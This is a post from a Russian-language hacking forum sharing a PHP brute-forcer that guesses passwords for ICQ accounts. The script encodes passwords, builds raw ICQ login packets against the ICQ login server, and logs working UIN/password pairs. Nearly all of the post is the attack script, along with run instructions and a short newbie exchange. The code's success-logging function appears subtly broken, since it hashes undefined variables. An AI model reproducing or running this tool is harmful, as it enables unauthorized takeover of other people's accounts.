• XSS.stack #1 – первый литературный журнал от юзеров форума

ICQ cross-platform брутфорс

Winux

Старожил форума
Легенда
Регистрация
12.11.2004
Сообщения
6 358
Реакции
53
Совершенно новый ICQ-брутфорс, написанный на php. Естественно, задача данного скрипта - подбор паролей к ICQ-номерам.
Формат входного файла:
Код:
уин:пароль
123456:password
345678:pupkin
Выходной файл good.txt, в котором пишутся подобранные уины.
Запускать скрипт из консоли таким образом:
$ php ./put_k_scriptu/ICQbrut.php

А вот и сам брутер:
Код:
<?
## ICQ cross-platform brutforce by StepST
## (c)oded by G_Mitrich and Stepbl4b
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## Options:
## ~~~~~~~~

 
 $uins = file('uins.txt');                     # File with the list of uins
                                               # (uin:password)
                                               
 $goodf = 'good.txt';                          # File for output right
                                               # combinations

## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## Credits: StepST , http://Step57.info/
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## Script-kiddes, I love you!;) RTFM and learning PHP!
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


  function XorInt($p1, $p2)
    {
      $binres = '';
      for ($Pos = 0; $Pos < 8; $Pos ++)
        {
          $binres = bcpow(bcmod($p1, 2) - bcmod($p2, 2), 2, 0).$binres;
          $p1 = bcdiv($p1, 2);
          $p2 = bcdiv($p2, 2);
        }
      $Result = 0;
      for ($Pos = 0; $Pos < 8; $Pos ++)
        {
          $Result = $Result * 2 + $binres[$Pos];
        }
      return $Result;
    }

  function CryptPass($ParamPassword)
    {
      $PassTable = array(243, 38, 129, 196, 57, 134, 219, 146,
                         113, 163, 185, 230, 83, 122, 149, 124);
      $Result = '';
      for ($Position = 0; $Position + 1 <= strlen($ParamPassword); $Position ++)
        $Result = $Result.chr(XorInt(ord($ParamPassword[$Position]),
                                         $PassTable[$Position]));
      return $Result;
    }

  function Connect($ParamServer, $TimeOut)
    {
      @$ServerAddress = explode(':', $ParamServer);
      @$Result = pfsockopen($ServerAddress[0], $ServerAddress[1], $ErrN,
                            $ErrStr, $TimeOut);
      @set_socket_blocking($Result, 0);
      return $Result;
    }

  function ReadStr($Socket, $Size, $TimeOut)
    {
      $Time = time();
      @$Result = fgets($Socket, $Size + 1);
      while ((strlen($Result) < $Size) and ($Time + $TimeOut > time()))
        @$Result = $Result.fgets($Socket, 1 + $Size - strlen($Result));
      return $Result;
    }

  function WriteStr($Socket, $Buf, $TimeOut)
    {
      $Time = time();
      @$Result = fputs($Socket, $Buf);
      while (($Result < strlen($Buf)) and ($Time + $TimeOut > time()))
        @$Result += intval(fputs($Socket, $Buf[$Result]) != 0);
      return $Result;
    }

  function CheckUIN($ParamServer, $ParamUIN, $ParamPass, $TimeOut)
    {
      $Socket = Connect($ParamServer, $TimeOut);
      if ($Socket == 0)
        {
          return -1;
        }
      $Buffer = ReadStr($Socket, 10, $TimeOut);
      if ((strlen($Buffer) != 10) or (($Buffer[0].$Buffer[1] != chr(42).chr(1))
          or ($Buffer[4].$Buffer[5] != chr(0).chr(4)) or ($Buffer[6].$Buffer[7].
          $Buffer[8].$Buffer[9] != chr(0).chr(0).chr(0).chr(1))))
        {
          @fclose($Socket);
          return -1;
        }
      $CryptPassword = CryptPass($ParamPass);
      $CliProf = 'ICQ Inc. - Product of ICQ (TM).2003b.5.56.1.3916.85';
      $Buffer = chr(0).chr(0).chr(0).chr(1).
                chr(0).chr(1).chr(0).chr(strlen($ParamUIN)).$ParamUIN.
                chr(0).chr(2).chr(0).chr(strlen($CryptPassword)).$CryptPassword.
                chr(0).chr(3).chr(0).chr(strlen($CliProf)).$CliProf.
                chr(0).chr(22).chr(0).chr(2).chr(1).chr(10).
                chr(0).chr(23).chr(0).chr(2).chr(0).chr(5).
                chr(0).chr(24).chr(0).chr(2).chr(0).chr(37).
                chr(0).chr(25).chr(0).chr(2).chr(0).chr(1).
                chr(0).chr(26).chr(0).chr(2).chr(14).chr(144).
                chr(0).chr(20).chr(0).chr(4).chr(0).chr(0).chr(0).chr(85).
                chr(0).chr(15).chr(0).chr(2).'en'.
                chr(0).chr(14).chr(0).chr(2).'us';
      $Buffer = chr(42).
                chr(1).
                chr(rand(0, 255)).chr(rand(0, 255)).
                chr(0).chr(strlen($Buffer)).
                $Buffer;
      WriteStr($Socket, $Buffer, $TimeOut);
      $UINlen = strlen($ParamUIN);
      $Buffer = ReadStr($Socket, 12 + $UINlen, $TimeOut);
      @fclose($Socket);
      if (strlen($Buffer) < 12 + $UINlen)
        return -1;
      if ($Buffer[strlen($Buffer) - 1] == chr(5))
        return 1;
      else
        return 0;
    }

  function AddUIN($UIN, $PassWord, $goodf)
    {

      $File = fopen($goodf, 'a');
      $Ln = chr(13).chr(10);
      echo ' Success ';
      fputs($File, md5($uin.' - '.$password.$Ln));
      fclose($File);
      return 0;
    }




  function Main($uins, $goodf)

    {
    error_reporting  (~E_ALL);
    
    echo "
 ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ##
 ## ICQ cross-platform brutforce by StepST  ##
 ##   (c)oded by G_Mitrich and Stepbl4b     ##
 ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ##
 ## Credits: StepST , http://Step57.info/   ##
 ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ##


 ";
      $Ln = chr(13).chr(10);
      echo 'Start.'.$Ln.$Ln;



      $AuthServAddr = "login.icq.com:5190";
      $TimeOut = "5";


      $ccp=round(count($uins)/100)+1;
      $cct=round(count($uins)/35)+1;
      $cca=count($uins);

      $i = 0;
      $i=$i;
      
      while ($i < $cca)
        {
          $uin1=explode(":", trim($uins[$i]));
          $PassWord=$uin1[1];
          $UIN=$uin1[0];


          $Check = CheckUIN($AuthServAddr, $UIN, $PassWord, $TimeOut);
          if ($Check != -1)
            {
              if ($Check == 1)
                {
                  AddUIN($UIN, $PassWord, $goodf);
                }
                $i++;

                if($i/$cct==round($i/$cct)){
                        echo " ".round(($i/$cca)*100)."% ";
                }
                if($i/$ccp==round($i/$ccp)){
                        echo "=";
                }

            }
        }



      echo $Ln.$Ln.' Finish.'.$Ln;

    }

  Main($uins, $goodf);

?>
 
gde nahoditsa kansol

В ос(может где нить на удаленном серве)!! вообщем если ты не знаешь, лучше пока не берись, почитай разделы форума, есть тема отдельная о пхп, как под окнами запускать, и все такое!
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх